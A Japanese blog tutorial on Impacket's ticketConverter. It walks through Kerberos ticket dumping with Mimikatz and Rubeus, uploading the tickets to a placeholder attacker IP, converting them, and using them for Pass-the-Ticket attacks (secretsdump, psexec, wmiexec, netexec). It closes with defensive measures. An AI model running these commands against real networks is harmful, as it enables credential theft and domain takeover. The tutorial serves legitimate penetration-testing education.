Active Directory 環境におけるペネトレーションテストやレッドチーム活動では、Kerberos チケットの操作が不可欠なテクニックとなることがよくあります。特に、異なるツールやオペレーティングシステム間でチケットをやり取りする必要がある場合、チケットのフォーマット変換が求められます。ここで活躍するのが、強力なネットワークプロトコル操作ツールキットである Impacket スイートに含まれる impacket-ticketConverter
スクリプトです。
このブログ記事では、impacket-ticketConverter
の基本的な使い方から、実践的なユースケース、注意点までを徹底的に解説します。この記事を読めば、あなたも Kerberos チケット変換の達人になれるはずです!💪
Kerberos チケットとそのフォーマットについて理解する
impacket-ticketConverter
を理解する前に、まず Kerberos 認証とチケットフォーマットの基本を押さえておきましょう。
Kerberos 認証の概要
Kerberos は、ネットワーク上でクライアントとサーバーが安全に互いを認証するためのプロトコルです。”チケット” と呼ばれる暗号化されたデータ構造を使用して、ユーザーはパスワードをネットワーク上に送信することなく、サービスにアクセスできます。主な登場人物は以下の通りです。
- クライアント: サービスへのアクセスを要求するユーザーまたはマシン。
- KDC (Key Distribution Center): ドメインコントローラー上で動作し、チケットの発行と管理を行うサービス。通常、以下の2つのサービスで構成されます。
- AS (Authentication Service): クライアントを認証し、TGT を発行する。
- TGS (Ticket Granting Service): TGT を検証し、特定のサービスへのアクセスを許可するサービスチケット (ST) を発行する。
- サービス: クライアントがアクセスしたいリソース (ファイル共有、ウェブサイトなど)。
チケットの種類
Kerberos には主に2種類のチケットが存在します。
- TGT (Ticket Granting Ticket): 認証サービス (AS) によって発行される、いわば「Kerberos 世界への入場券」のようなものです。ユーザーはこの TGT を使って、個別のサービスチケットを要求します。有効期間が比較的長く設定されていることが多いです(デフォルトで10時間など)。
- ST (Service Ticket) / TGS (Ticket Granting Service) Ticket: チケット発行サービス (TGS) によって発行され、特定のサービス (例: CIFS、HTTP) へのアクセスを許可します。TGT を提示して取得します。
チケットのフォーマット: ccache vs kirbi
Kerberos チケットは、ツールや OS によって異なるファイルフォーマットで保存・利用されます。主なフォーマットは以下の2つです。
これらのフォーマットには互換性がありません。そのため、例えば Windows 上で Mimikatz を使って抽出した .kirbi
形式のチケットを、Linux 上の Impacket ツールで利用したい場合には、フォーマットを .ccache
に変換する必要があります。逆もまた然りです。この変換作業を行ってくれるのが impacket-ticketConverter
なのです。🎉
Impacket とは?
Impacket は、ネットワークプロトコルを扱うための Python クラスのコレクションです。特に、SMB や MSRPC といった Microsoft Windows 環境でよく使われるプロトコルの実装に重点を置いています。しかし、それだけにとどまらず、Kerberos、LDAP、MSSQL など、様々なプロトコルに対応しています。
Impacket はライブラリとして他の Python スクリプトから利用できるだけでなく、多くの便利なサンプルスクリプト (examples) を提供しています。これらはそのままコマンドラインツールとして利用でき、ペネトレーションテストやシステム管理タスクにおいて非常に強力な武器となります。impacket-ticketConverter
もこれらのサンプルスクリプトの一つです。
代表的な Impacket スクリプトには以下のようなものがあります。
スクリプト名 | 主な機能 |
---|---|
secretsdump.py |
リモートマシンの SAM/LSA/NTDS.dit からハッシュやキーをダンプ |
psexec.py |
リモートコマンド実行 (PsExec ライク) |
atexec.py |
タスクスケジューラ経由でのリモートコマンド実行 |
wmiexec.py |
WMI を利用したリモートコマンド実行 |
smbclient.py |
SMB ファイル共有操作 |
getTGT.py |
KDC から TGT を要求 |
getST.py |
KDC からサービスチケットを要求 |
ticketer.py |
Golden/Silver Ticket の生成 |
goldenPac.py |
Golden Ticket を使用したリモートコマンド実行 |
mimikatz.py |
リモート Mimikatz RPC サーバー操作 |
GetUserSPNs.py |
SPN を列挙し Kerberoasting 用ハッシュを取得 |
GetNPUsers.py |
事前認証不要ユーザーの TGT を要求し AS-REP Roasting 用ハッシュを取得 |
ticketConverter.py |
Kerberos チケット (ccache/kirbi) のフォーマット変換 |
rbcd.py |
Resource-Based Constrained Delegation (RBCD) 関連操作 |
addcomputer.py |
ドメインへのコンピューターアカウント追加 |
impacket-ticketConverter
は、これらの多様なツール群と連携し、異なる環境で取得・生成された Kerberos チケットを相互に利用可能にするための重要な「橋渡し役」と言えるでしょう🌉。
impacket-ticketConverter の基本的な使い方
インストール
impacket-ticketConverter
は Impacket スイートの一部なので、通常は Impacket をインストールすれば利用可能になります。pip を使ってインストールするのが一般的です。最新版を利用することをお勧めします。
pip install impacket
# または、GitHubから最新版をインストール
pip install git+https://github.com/fortra/impacket
Kali Linux などのペネトレーションテスト用ディストリビューションには、最初から Impacket がインストールされていることが多いですが、バージョンが古い場合があります。impacket-scripts
パッケージとして提供されていることもあります。
# Kali Linux などでパスが通っている場合
impacket-ticketConverter --help
# examples ディレクトリから直接実行する場合 (パスは環境によって異なります)
# Impacket のインストール場所を確認して実行
python /usr/share/doc/python3-impacket/examples/ticketConverter.py --help
# または pip でインストールした場合のパス (例)
~/.local/bin/ticketConverter.py --help
過去には、別の開発者による同名のツールも存在しましたが、現在は Impacket 本体に含まれる examples/ticketConverter.py
を使用することが推奨されています。
基本的なコマンド構文
impacket-ticketConverter
の使い方は非常にシンプルです。基本的な構文は以下の通りです。
ticketConverter.py <input_file> <output_file>
<input_file>
: 変換したい Kerberos チケットファイル (.kirbi
または.ccache
形式)。<output_file>
: 変換後のチケットを保存するファイル名。
このツールの賢い点は、入力ファイルのフォーマットを自動的に検出してくれることです。そのため、入力が .kirbi
なのか .ccache
なのかを明示的に指定する必要はありません。スクリプトがファイルの内容を解析し、適切な変換を行ってくれます。Metasploit の auxiliary/admin/kerberos/ticket_converter
モジュールも同様の機能を提供しています。
変換例
具体的な変換例を見てみましょう。
Windows 上の Mimikatz で取得した
admin_ticket.kirbi
を、Linux 上の Impacket ツールで使うために admin_ticket.ccache
に変換する場合。
python ticketConverter.py admin_ticket.kirbi admin_ticket.ccache
実行すると、以下のような出力が表示され、admin_ticket.ccache
ファイルが生成されます。
Impacket v0.12.0.dev1+2024XXXX.XXXXXX - Copyright 2024 Fortra
[*] converting kirbi to ccache...
[+] done.
(バージョン番号と日付は実行環境により異なります)
Linux 上の
getTGT.py
で取得した user.ccache
を、Windows 上のツールで利用するために user.kirbi
に変換する場合。
python ticketConverter.py user.ccache user.kirbi
実行すると、以下のような出力が表示され、user.kirbi
ファイルが生成されます。
Impacket v0.12.0.dev1+2024XXXX.XXXXXX - Copyright 2024 Fortra
[*] converting ccache to kirbi...
[+] done.
非常に簡単ですね!😊 このシンプルな操作だけで、異なる環境やツール間での Kerberos チケットの互換性の問題が解決できます。
トラブルシューティング
まれに、ライブラリの依存関係やバージョンの問題でエラーが発生することがあります。例えば、impacket.krb5.ccache
から KeyBlock
をインポートできないというエラー (ImportError: cannot import name 'KeyBlock' from 'impacket.krb5.ccache'
) が報告されたことがあります。これは Impacket の内部構造の変更に起因する可能性があり、最新版の Impacket を利用することで解決することが多いです。また、特定の Kerberos チケット (例: CVE-2020-17049 関連で生成されたもの) の変換時にエラーが発生したというIssueも過去に報告されています。問題が発生した場合は、Impacket のバージョンを確認し、必要であればアップデートやダウングレード、あるいは GitHub の Issue を確認してみてください。
実践的なユースケース: Mimikatz チケットを Impacket で活用する
impacket-ticketConverter
が最もよく利用されるシナリオの一つが、Windows 環境で取得した Kerberos チケットを Linux 環境のツールで利用するケースです。特に、Mimikatz でダンプしたチケットを Impacket スクリプトで Pass-the-Ticket (PtT) 攻撃に使う流れは典型的です。この攻撃手法は「Pass the Cache」と呼ばれることもあります。
ここでは、その具体的な手順をステップバイステップで見ていきましょう。
ステップ1: Windows 上で Mimikatz または Rubeus を使用してチケットをダンプ
まず、侵害した Windows マシン上で管理者権限を取得し、Mimikatz や Rubeus を実行してメモリから Kerberos チケットをダンプします。
Mimikatz を使用する場合:
# Mimikatz を起動 (管理者権限が必要)
.\mimikatz.exe
# 権限昇格 (必要に応じて)
privilege::debug
# Kerberos チケットをメモリから抽出し、.kirbi 形式でエクスポート
sekurlsa::tickets /export
# ログオフイベントでチケットが削除されないようにする (オプション)
# misc::memssp
sekurlsa::tickets /export
コマンドを実行すると、現在のセッションで利用可能な Kerberos チケット (TGT やサービスチケット) が、カレントディレクトリに [ID]-[ID]-....kirbi
という形式のファイル名で保存されます。例えば、[0;ca99f8]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi
のような TGT ファイルがエクスポートされるでしょう。
Rubeus を使用する場合:
# 現在のユーザーの TGT をダンプして Base64 で表示
.\Rubeus.exe dump /nowrap
# 特定の LUID (Logon ID) のチケットをダンプ
.\Rubeus.exe dump /luid:0x12d1f7 /nowrap
# すべてのセッションのチケットを監視・ダンプ (管理者権限が必要)
.\Rubeus.exe monitor /interval:5 /filteruser:DOMAIN\TargetUser
Rubeus はチケットを Base64 エンコードされた文字列として出力することが多いです。この Base64 文字列をデコードして .kirbi
ファイルとして保存する必要があります。PowerShell などで以下のように実行できます。
[IO.File]::WriteAllBytes("C:\path\to\ticket.kirbi", [Convert]::FromBase64String("<RubeusからコピーしたBase64文字列>"))
また、Kekeo (misc::convert ccache ticket.kirbi
) のようなツールも .kirbi と .ccache の変換に使用できます。
ステップ2: .kirbi ファイルを Linux 環境に転送
次に、エクスポートまたは生成された .kirbi
ファイル (特に利用したい TGT など) を、Impacket ツールがインストールされている Linux マシン (攻撃者のマシンなど) に転送します。転送方法は、SCP, nc, HTTP サーバー、SMB 共有など、状況に応じて選択します。ファイルを ZIP 圧縮して転送することも一般的です。
# PowerShell でファイルを ZIP 圧縮する例
Compress-Archive -Path .\*.kirbi -DestinationPath tickets.zip
# Webサーバー経由でアップロードする例 (別途アップロード用サーバーが必要)
$webClient = New-Object System.Net.WebClient
$webClient.UploadFile('http://<攻撃者IP>/upload.php', "$PWD\tickets.zip")
ステップ3: impacket-ticketConverter で .ccache 形式に変換
Linux マシン上で、転送された .kirbi
ファイルを impacket-ticketConverter
を使って .ccache
形式に変換します。Base64 で取得した場合は、まずデコードして .kirbi ファイルを作成します。
# Base64 文字列を含むファイルをデコードして .kirbi を作成
cat ticket_base64.txt | base64 -d > administrator.kirbi
# .kirbi を .ccache に変換
impacket-ticketConverter administrator.kirbi administrator.ccache
ファイル名に特殊文字が含まれる場合は、シングルクォートやダブルクォートで囲むか、エスケープ処理を行ってください。これで、administrator.ccache
というファイルが生成されます。
ステップ4: KRB5CCNAME 環境変数を設定
Impacket ツール (や他の多くの Linux Kerberos ツール) は、使用するチケットキャッシュの場所を環境変数 KRB5CCNAME
を参照して決定します。変換して生成した .ccache
ファイルのパスをこの環境変数に設定します。
export KRB5CCNAME=/path/to/your/administrator.ccache
# フルパスで指定するのが確実です
# 設定されたか確認
echo $KRB5CCNAME
ステップ5: Impacket ツールでチケットを利用 (-k オプション)
準備が整いました!これで、KRB5CCNAME
で指定したチケットを使って Impacket ツールを実行できます。多くの Impacket スクリプトでは、-k
オプション (Kerberos 認証を使用) と -no-pass
オプション (パスワードやハッシュを指定しない) を組み合わせることで、チケットベースの認証 (Pass-the-Ticket) を行います。
例: secretsdump.py でドメインコントローラーからハッシュをダンプ
impacket-secretsdump -k -no-pass DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL
例: psexec.py でターゲットマシン上でコマンドを実行
impacket-psexec -k -no-pass DOMAIN.LOCAL/Administrator@TARGETPC.DOMAIN.LOCAL
例: wmiexec.py でターゲットマシン上でコマンドを実行
impacket-wmiexec -k -no-pass DOMAIN.LOCAL/Administrator@THMIIS.ZA.TRYHACKME.COM 'whoami'
例: smbclient.py でファイル共有にアクセス
impacket-smbclient -k -no-pass //DC01.DOMAIN.LOCAL/C$
例: NetExec (旧 CrackMapExec) で利用
export KRB5CCNAME=admin.ccache
netexec smb 10.10.10.10 -u Administrator -k
このように、impacket-ticketConverter
は、異なるプラットフォーム間の Kerberos チケットの壁を取り払い、Mimikatz や Rubeus のような強力な Windows ツールと Impacket のような多機能な Linux ツールの連携を可能にする、非常に価値のあるツールなのです。🚀
その他のユースケースと注意点
ccache から kirbi への変換シナリオ
逆の変換、つまり .ccache
から .kirbi
への変換が必要になるケースは、先のシナリオほど一般的ではありませんが、考えられます。例えば、以下のような状況です。
- Linux 環境で Impacket の
getTGT.py
やgetST.py
、あるいは Golden Ticket や Silver Ticket をticketer.py
で生成し、それを Windows 環境のツール (Mimikatz のkerberos::ptk
や Rubeus のptt
コマンド) でインポートして使いたい場合。 - 特定の脆弱性検証 (例: MS14-068 の悪用で生成した ccache チケットを Windows で使う) や、Cobalt Strike の Beacon など、特定のツール連携のために
.kirbi
形式のチケットが必要な場合。rvazarkar/KrbCredExport のような専用ツールも存在しますが、ticketConverter でも対応可能です。 - Linux 上で取得したチケットを解析・デバッグするために Windows ツールを使いたい場合。
基本的な使い方は同じで、入力と出力のファイル名を指定するだけです。
impacket-ticketConverter my_linux_ticket.ccache my_windows_ticket.kirbi
注意点とセキュリティに関する考慮事項
impacket-ticketConverter
は非常に便利なツールですが、利用にあたっては以下の点に注意が必要です。
- 🔑 チケットは機密情報: Kerberos チケット (特に TGT) は、ユーザーのパスワードやハッシュと同様に非常に機密性の高い情報です。TGT はドメイン内のほぼすべてのリソースへのアクセス権を持つマスターキーのようなものです。チケットファイルが漏洩すると、攻撃者はそのチケットの所有者になりすましてネットワークリソースにアクセスできてしまいます (Pass-the-Ticket 攻撃)。チケットファイルは安全な場所に保管し、不要になったら確実に削除してください。転送時も暗号化されていない経路は避けるべきです。
- ⏳ 有効期限: 前述の通り、チケットには有効期限があります (通常 8-12 時間程度)。変換したチケットも元のチケットの有効期限を引き継ぎます。有効期限が切れたチケットは使用できません。Golden Ticket のように意図的に長い有効期間を設定することも可能ですが、通常のチケットの有効期限は意識する必要があります。
- 😈 悪用の可能性: 攻撃者は、侵害した環境内でチケットをダンプし、
impacket-ticketConverter
を使って他のツールで利用可能な形式に変換することで、ラテラルムーブメント (横方向への侵害拡大) や権限昇格を試みます。防御側としては、LSASS プロセスへのアクセス試行の監視、不審な Kerberos 認証イベント (異常な SPN リクエスト、大量の認証失敗など) のログ監視、エンドポイントでの Mimikatz や Rubeus などのツールの検知・防御 (EDR) が重要です。 - 🛡️ 権限管理と防御策: そもそもチケットをダンプされないように、システムの権限管理を適切に行うことが根本的な対策となります。具体的には以下のような対策が考えられます。
- ローカル管理者権限の厳格な管理。
- 多要素認証 (MFA) の導入。
- 特権アクセス管理 (PAM) ソリューションの利用。
- Windows Defender Credential Guard の有効化 (LSASS からの資格情報窃取を困難にする)。
- 特権アカウント (特に Domain Admins) を Protected Users グループに追加する (キャッシュされる資格情報の制限、NTLM へのフォールバック禁止、委任の禁止など)。
- アカウントが機密であり委任できない (`NOT_DELEGATED`) 属性の設定。
- 定期的な krbtgt アカウントのパスワード変更 (Golden Ticket 対策)。
- Kerberos 委任設定 (Unconstrained, Constrained, Resource-Based Constrained) の適切な構成と監視。
まとめ
impacket-ticketConverter
は、Impacket スイートの中でも地味ながら非常に重要な役割を担うツールです。異なるオペレーティングシステムやツール間で Kerberos チケットのフォーマット (ccache
と kirbi
) を相互に変換する機能を提供し、シームレスなツール連携を実現します。
特に、Windows 環境で Mimikatz や Rubeus を使って取得した .kirbi
チケットを、Linux 環境の Impacket ツール群で利用可能にするシナリオにおいて、その価値は絶大です。Pass-the-Ticket 攻撃をはじめとする多くの高度な攻撃テクニックや、ペネトレーションテスト、レッドチーム活動において、欠かせない存在となっています。
この記事を通じて、impacket-ticketConverter
の使い方とその重要性について理解を深めていただけたなら幸いです。Kerberos チケットは強力な認証メカニズムであると同時に、攻撃者にとっても価値の高いターゲットです。ツールの使い方を学ぶとともに、チケットの適切な管理と、多層的なセキュリティ対策の重要性も忘れないようにしましょう。🛡️💻
Happy Hacking (ethically, of course)! 😉
コメント